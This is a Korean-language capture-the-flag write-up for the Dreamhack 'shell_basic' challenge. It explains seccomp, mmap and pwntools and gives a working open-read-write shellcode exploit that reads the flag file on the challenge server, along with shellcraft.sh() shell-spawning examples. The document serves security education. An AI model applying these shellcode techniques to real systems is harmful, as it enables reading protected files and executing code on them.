shell_basic

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

문제 파일 내 c코드이다. 이를 이해하기 위해 알아야하는 함수를 대략적으로 살펴보자.

 

1) seccomp(secure computing mode) 함수

리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안기능

샌드박스 : 외부로부터 들어온 프로그램이 보호된 영역에서 동작해 시스템이 부정하게 조작되는 것을 막는 보안 형태

 

scmp_filter_ctx seccomp_init(uint32_t def_action);

- 필터 상태를 초기화 시켜주는 함수

- 기본 동작은 def_action에 의해 설정

- 필터 구성을 마치고 커널에 로드하면 seccomp_release함수를 호출하여 모든 필터 상태를 해제해야 함

- SCMP_ACT_ALLOW : 필터 규칙과 일치하는 경우 호출하는 스레드에 영향을 미치지 않음

 

int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt);

- 현재 seccomp 필터에 새 필터 규칙을 추가

- 규칙을 추가한다고 해서 seccomp_load함수 호출 전까지는 적용 X

- SCMP_ACT_KILL : 필터 규칙과 일치하는 syscall을 호출할 때 커널에 의해 종료

 

int seccomp_load(scmp_filter_ctx ctx);

- 설정한 필터 규칙을 커널에 로드하여 필터를 활성화시킴

 

<함수 요약>

  1. seccomp_init함수를 통해 필터 상태를 모두 허용한다(초기화)
  2. seccomp_rul_add함수를 통해 다음 syscall이 발생하면 종료시킨다(필터 규칙 추가)
  3. seccomp_load함수를 통해 커널에 로드하여 필터 규칙을 활성화 시킨다(필터 규칙 활성화)
  4. seccomp_release함수를 통해 필터 규칙을 해제한다(필터 규칙 해제)

 

2) mmap() 함수

파일이나 디바이스를 응용 프로그램의 주소 공간 메모리에 대응시킨다.

void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset);

fd로 지정된 디바이스 파일에서 offset에 해당하는 물리 주소에서 시작하여 length 바이트 만큼을 start주소로 대응시킨다. start 주소는 보통 0으로 지정하고, 강제적인 요구가 아니기 때문에 다른 값을 지정해도 꼭 그 값으로 매핑시켜 반환되지는 않는다. offset과 length는 PAGE_SIZE 단위여야 한다. 


retrun 값 : 맵핑이 시작하는 실제 메모리 주소, 에러 발생 시 MAP_FAILED(-1)이 반환, errno는 적당한 값으로 설정된다.

 

▶start : 요청한 물리 주소 공간을 매핑하고자 하는 주소(보통은 0을 사용)
▶length : 매핑하고자 하는 주소 공간의 크기
▶prot : 메모리 보호 모드를 설정
   - PROT_EXEC : 페이지가 실행될 수 있다.
   - PROT_READ : 페이지를 읽을 수 있다.
   - PROT_WRITE : 페이지에 쓸 수 있다.
   - PROT_NONE : 페이지에 접근할 수 없다.
▶flags : 대응된 객체 타입, 대응 옵션, 대응된 페이지 복사본에 대한 수정을 그 프로세스에만 보일 것인지 참조하는 다             른 프로세스와 공유할 것인지를 설정한다.
   - MAP_FIXED : 지정된 주소 이외에는 선택하지 않는다. 지정된 주소를 사용할 수 없으면 mmap은 실패한다. 그리                              고 MAP_FIXED가 지정되면 start는 페이지 크기의 배수여야 한다. 가급적 MAP_FIXED 옵션은 사용                              하지 않는 편이 좋다.
   - MAP_SHARED : 이 객체를 대응시키는 다른 프로세스와 대응 영역을 공유한다.
   - MAP_PRIVATE : 다른 프로세스와 대응 영역을 공유하지 않는다.
▶fd : 메모리 맵 방식을 사용할 파일 디스크립터
▶offset: 매핑시키고 싶은 물리 주소, 이 값은 디바이스 드라이버에 전달되지만, 디바이스 드라이버가 다른 주소를 매핑             할 경우 쓰이지 않는다.


또 이 문제를 해결하기 위해서 pwntools를 사용해야 한다.

pwntools 

: 시스템 해킹(pwnable)에 필요한 기능들로 커스터마이징이 된 파이썬 모듈

 

사용법

1. process & remote

process : 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용, 익스플로잇을 테스트, 디버깅하기 위해 사용

remote : 원격 서버를 대상으로 할 때 사용, 대상 서버를 실제로 공격하기 위해 사용

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

 

2. send

: 데이터를 프로세스에 전송하기 위해 사용

from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력

 

3. recv

: 프로세스에서 데이터를 받기 위해 사용

from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 받아서 data에 저장
recv(n) : 최대 n바이트를 받음 (그만큼 받지 못해도 에러 발생 X)
recvn(n) : 정확히 n바이트의 데이터를 받지 못하면 계속 기다림

 

4. packing & unpacking

#!/usr/bin/python3
#Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))

익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역의 과정을 거쳐야 하는 경우가 자주 있다. 

 

5. interactive

: 셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

from pwn import *
p = process('./test')
p.interactive()

호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있다.

 

6. ELF

ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있다.

from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 puts_plt에 저장

 

7. context.log

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

익스플로잇에 버그가 발생하면 익스플로잇도 디버깅해야한다.

pwntools에는 디버그의 편의ㄹ를 돕는 로깅 기능이 있고 로그 레벨은 변수context.log_level로 조절할 수 있다.

 

8. context.arch

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

pwntools는 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받는다. 그래서 pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라진다.

 

9. shellcraft

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)

pwntools에는 자주 사용되는 셸 코드들이 저장되어 있어서, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해준다. 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못한다. 또한, 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어렵다. 따라서 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋다.

 

10. asm

: 어셈블 기능 함수

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)

이 기능도 대상 아키텍처가 중요하므로 미리 지정해야 한다.


우분투에서 다음과 같은 orw코드를 작성해주었다.

from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 포트번호)
context(arch='amd64', os = 'linux')

context.log_level = 'debug'를 통해 디버그가 가능하도록 하였다. 

remote를 이용해 dreamhack에서 주어진 포트번호에 연결해주었다.

context를 통해 대상 아키텍처를 지정해주고 os를 설정해주었다.

 

code = ''
code += shellcraft.pushstr("/home/shell_basic/flag_name_is_loooooong")
code += shellcraft.open("rsp",0,0)
code += shellcraft.read("rax","rsp",100)
code += shellcraft.write(1, "rsp", 100)

shellcraft.pushstr을 통해  open 함수 인자로 넘길 파일명을 넣어주었다.

그 다음 코드들은 open으로 파일을 열고 read로 읽어 스택에 저장하고 write로 표준출력을 해주었다.

shellcraft.open("rsp",0,0)는 open(flagName, O_RDONLY)와 동일한 의미를 가지고 있다. 스택 최상단에 파일명을 push 했기 때문에 rsp를 이용해 open함수를 call했다.

open의 반환값은 rax에 담기므로 read의 fd를 rax로 설정해주었다.

write는 일반 출력을 위해 1로 설정해주고 read에서 사용한 값을 그대로 사용하기 위해 rsp로 동일하게 설정해주었다. 

 

p.recvuntil('shellcode: ')
p.sendline(asm(code))
p.interactive()

recvuntil()은 괄호 내 데이터를 받아주었다. 이를 통해 shellcode: 뒤에 다음 명령어를 실행해줄 수 있었다.

sendline()으로 괄호 내 값을 보냈다. 여기서는 위에서 작성한 code를 전송하였다. 근데 그냥 code를 전송한 것이 아니라 asm함수를 이용하여 셸 코드를 기계어로 어셈블하여 전송해주었다.

interactive()으로 명령을 전송하여 아래와 같은 결과가 나왔다.

이렇게 flag를 찾을 수 있었다.

+ Recent posts